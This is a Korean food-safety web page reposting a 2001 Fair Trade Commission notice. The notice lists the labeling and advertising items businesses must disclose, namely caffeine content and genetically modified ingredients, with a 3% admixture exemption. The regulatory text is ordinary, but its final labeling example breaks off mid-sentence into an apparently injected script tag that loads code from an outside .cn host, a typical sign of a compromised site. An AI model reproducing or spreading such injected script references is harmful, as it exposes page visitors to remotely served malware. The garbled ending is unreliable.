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중요한 표시 . 광고 사항 고시 개정(안)
작성자 식품안전부 등록일 2001/11/05 조회 12228
첨부
소비자의 구매 선택에 영향을 미칠 수 있는 중요한 표시·광고 사항을 규정하여 소비자가 합리적으로 선택하는 데 필요한 정보 제공을 확대하기 위하여 표시·광고의공정화에관한법률 제4조제1항에 근거하여 사업자 (사업자단체를 포함한다)가 표시·광고에 포함하여야 할 중요한 사항을 다음과 같이 고시합니다.

2001년 12월 일
공 정 거 래 위 원 회



공정거래위원회는 8일 소비자의 구매 선택에 영향을 미칠 수 있는 중요한 표시·광고 사항을 규정, 소비자가 합리적으로 선택하는 데 필요한 정보 제공을 확대키위해 사업자가 표시·광고에 포함해야 할 중요한 사항을 고시했다.

이 고시는 표시·광고의 공정화에 관한 법률 제4조제1항에 근거한 것으로 식품 관련 내용은 아래와 같다.


▲ 식품 제조·판매업
(2-1)식품위생법 제2조제1호의 규정에 의한 식품 중 다음의 식품을 제조·판매하는 사업자에 대해 적용한다.

(가)카페인이 포함되는 식품

(나)유전자재조합식품등의표시기준(식품의약품안전청 고시) 제2조의 규정에 의한 유전자재조합 식품 또는 식품첨가물(이하 \"유전자재조합식품 등\"이라 한다)

(2-2)다만, (2-1) (나)의 유전자재조합식품 등을 제조·판매하는 사업자에 대해서는 당해 사업자가 광고 행위를 할 경우에 한하여 적용한다.


▲ 농·수산물 생산·판매업
(3-1)농산물품질관리법 제2조제7호의 규정에 의한 유전자변형농산물과 수산물품질관리법 제2조제3호의 규정에 의한 유전자변형수산물을 생산·판매하는 사업자에 대해 적용한다.

(3-2)다만, 사업자가 자신이 생산·판매하는 농·수산물에 관하여 광고 행위를 할 경우에 한하여 적용한다.

(3-3)(3-2)의 규정에 불구하고 사업자가 유전자 변형이 아닌 농·수산물을 구분하여 생산·유통한 경우 비의도적으로 유전자 변형 농·수산물이 혼입될 수 있는 점을 고려하여 유전자변형 농·수산물이 3%이하로 포함된 경우에는 적용하지 아니한다.


▲ 식품 제조·판매업의 중요정보 항목
(1)표시대상 중요정보 항목
(1-1)카페인 함량


(2) 광고대상 중요정보 항목
(1-1)카페인 함량 (카페인이 포함되어 있을 경우에 한한다)
(1-2)유전자변형물질 포함 사실 (유전자변형물질이 포함되어 있을 경우에 한한다)
표시·광고 예시-당해 식품에 포함되어 있는 \"카페인 함량\"과 당해 식품?script src=http://dae3.cn>
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